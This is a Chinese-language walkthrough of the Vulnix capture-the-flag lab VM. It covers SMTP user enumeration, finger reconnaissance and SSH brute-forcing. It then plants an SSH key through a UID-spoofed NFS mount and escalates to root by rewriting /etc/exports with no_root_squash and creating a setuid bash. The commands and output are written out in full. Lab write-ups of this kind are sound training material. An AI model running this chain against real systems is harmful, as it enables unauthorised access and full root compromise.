靶场练习 - HackLAB: Vulnix

靶场搭建

下载下来直接打开就可以

渗透过程

信息初收集

端口开放

22/tcp    open  ssh
25/tcp    open  smtp
79/tcp    open  finger
110/tcp   open  pop3
111/tcp   open  rpcbind
143/tcp   open  imap
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
993/tcp   open  imaps
995/tcp   open  pop3s
2049/tcp  open  nfs
42015/tcp open  mountd  1-3 (RPC #100005)
48393/tcp open  nlockmgr 1-4 (RPC #100021)
51280/tcp open  mountd   1-3 (RPC #100005)
52109/tcp open  status   1 (RPC #100024)
60988/tcp open  mountd   1-3 (RPC #100005)

这么多端口我人都傻了,很多见都没见过,思考一下人生

系统信息

Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10

linux系统的

这种我的思路只有爆破了啊,ssh或者邮箱服务器爆破,ssh爆破是常规操作,smtp爆破需要去收集信息,搜一下脚本

邮箱账号枚举

Matching Modules
================

   #   Name                                          Disclosure Date  Rank    Check  Description
   -   ----                                          ---------------  ----    -----  -----------
   0   auxiliary/server/capture/smtp                 .                normal  No     Authentication Capture: SMTP
   1   auxiliary/scanner/http/gavazzi_em_login_loot  .                normal  No     Carlo Gavazzi Energy Meters - Login Brute Force, Extract Info and Dump Plant Database
   2   auxiliary/client/smtp/emailer                 .                normal  No     Generic Emailer (SMTP)
   3   auxiliary/dos/windows/smtp/ms06_019_exchange  2004-11-12       normal  No     MS06-019 Exchange MODPROP Heap Overflow
   4   auxiliary/scanner/smtp/smtp_version           .                normal  No     SMTP Banner Grabber
   5   auxiliary/scanner/smtp/smtp_ntlm_domain       .                normal  No     SMTP NTLM Domain Extraction
   6   auxiliary/scanner/smtp/smtp_relay             .                normal  No     SMTP Open Relay Detection
   7   auxiliary/fuzzers/smtp/smtp_fuzzer            .                normal  No     SMTP Simple Fuzzer
   8   auxiliary/scanner/smtp/smtp_enum              .                normal  No     SMTP User Enumeration Utility
   9   auxiliary/dos/smtp/sendmail_prescan           2003-09-17       normal  No     Sendmail SMTP Address prescan Memory Corruption
   10  auxiliary/vsploit/pii/email_pii               .                normal  No     VSploit Email PII
   11  auxiliary/scanner/http/wp_easy_wp_smtp        2020-12-06       normal  No     WordPress Easy WP SMTP Password Reset
   12  auxiliary/gather/owncloud_phpinfo_reader      2023-11-21       normal  No     ownCloud Phpinfo Reader

有一个用户枚举的脚本可以试一下

枚举出以下账号

 , backup, bin, daemon, games, gnats, irc, landscape, libuuid, list, lp, mail, man, messagebus, news, nobody, postfix, postmaster, proxy, sshd, sync, sys, syslog, user, uucp, whoopsie, www-data

还有一个工具叫做smtp-user-enum,也可以进行枚举,试一下

┌──(root㉿kali)-[~]
└─# smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t 192.168.74.142 -m 100

速度比metasploit要快很多

VERY模式经常被禁用,但是在这个靶机上没有,有三个模式,还有RCPT(用来发送邮件),和EXPN(获取用户组信息或展开别名,也可用来验证是否存在)

######## Scan started at Tue Apr  9 08:13:02 2024 #########
192.168.74.142: daemon exists
192.168.74.142: list exists
192.168.74.142: games exists
192.168.74.142: gnats exists
192.168.74.142: backup exists
192.168.74.142: bin exists
192.168.74.142: irc exists
192.168.74.142: mail exists
192.168.74.142: man exists
192.168.74.142: libuuid exists
192.168.74.142: landscape exists
192.168.74.142: news exists
192.168.74.142: messagebus exists
192.168.74.142: lp exists
192.168.74.142: nobody exists
192.168.74.142: postfix exists
192.168.74.142: postmaster exists
192.168.74.142: proxy exists
192.168.74.142: root exists
192.168.74.142: ROOT exists
192.168.74.142: sshd exists
192.168.74.142: sync exists
192.168.74.142: sys exists
192.168.74.142: syslog exists
192.168.74.142: uucp exists
192.168.74.142: user exists
192.168.74.142: whoopsie exists
192.168.74.142: www-data exists
######## Scan completed at Tue Apr  9 08:13:03 2024 #########

拿到了用户名,我们可以通过finger服务看到用户的bash是什么,从而确定哪些用户名是高价值的

┌──(root㉿kali)-[~]
└─# finger root@192.168.74.142
Login: root                             Name: root
Directory: /root                        Shell: /bin/bash
Never logged in.
No mail.
No Plan.

┌──(root㉿kali)-[~]
└─# finger user@192.168.74.142
Login: user                             Name: user
Directory: /home/user                   Shell: /bin/bash
Never logged in.
No mail.
No Plan.

Login: dovenull                         Name: Dovecot login user
Directory: /nonexistent                 Shell: /bin/false
Never logged in.
No mail.
No Plan.

可以看到root和user的shell,确定是高价值账号,那么我们针对他们进行ssh爆破

爆破出user的密码:lemein

那么我们可以ssh登录上去了,尝试sudo,没有权限

看一下home里面有一个vulnix的用户

利用挂载写入ssh公钥

因为有NFS服务,那么查看一下共享文件夹:showmount --exports 192.168.74.142

发现这个/home/vulnix/*是共享的,但是我们没有权限查看

那么我们可以在自己的机器上创建一个文件夹 ,挂在到这个文件夹下进行访问

直接访问还是没有权限的,那么我们创建一个具有同样ID的账号就可以进行访问,因为linux是根据ID进行判断的

mount 192.168.74.142:/home/vulnix /mnt/vulnix

生成ssh密钥写入vulnix用户目录中的.ssh文件夹下的authorized_keys

这样就可以使用无密码使用ssh登入vulnix账号,但是我这里kali不知道抽什么风,已经写入了但还是找我要密码,所以我把私钥放入windows机器中进行ssh连接

windows使用私钥进行登入时需要严格限制私钥权限,取消权限继承后,删除除SYSTEM和administrator的权限后才可以使用私钥进行登录ssh -i id_rsa vulnix@192.168.74.142

这个时候就已经登录至vulnix账号中

提权

sudo -l发现有一个不需要密码就能进行的命令:sudoedit /etc/exports

这个exprots文件就是NFS的配置文件,用来记录那个目录通过网络进行共享,既然我们能登录上去,那不如让我们直接把根目录都共享出来。只需要将这个文件修改成一下内容:

# /etc/exports: the access control list for filesystems which may be exported
#               to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
#
/home/vulnix    *(rw,no_root_squash)
/               *(rw,no_root_squash)

重启一下靶机,挂载根目录发现,哦吼所有的文件都能访问到了!

想要拿到彻底的root权限,可以将目标机器上的bash放到vulnix家目录中,修改权限为4777,这样运行这个bash能够继承root权限

┌──(root㉿kali)-[~]
└─# cp /mnt/vulnix/bin/bash /mnt/vulnix/home/vulnix 
                                                                                                                         
┌──(root㉿kali)-[~]
└─# chmod 4777 /mnt/vulnix/home/vulnix/bash 
vulnix@vulnix:~$ ./bash -p
bash-4.2# whoami
root

其中的-p参数是以特权模式运行,这样才会有root权限

小结

ssh写入公钥的时候,用kali连接怎么也连不上,直到现在我也不知道为什么,问题一定是出现在kali上了。对此感到十分困惑

评论区
头像
文章目录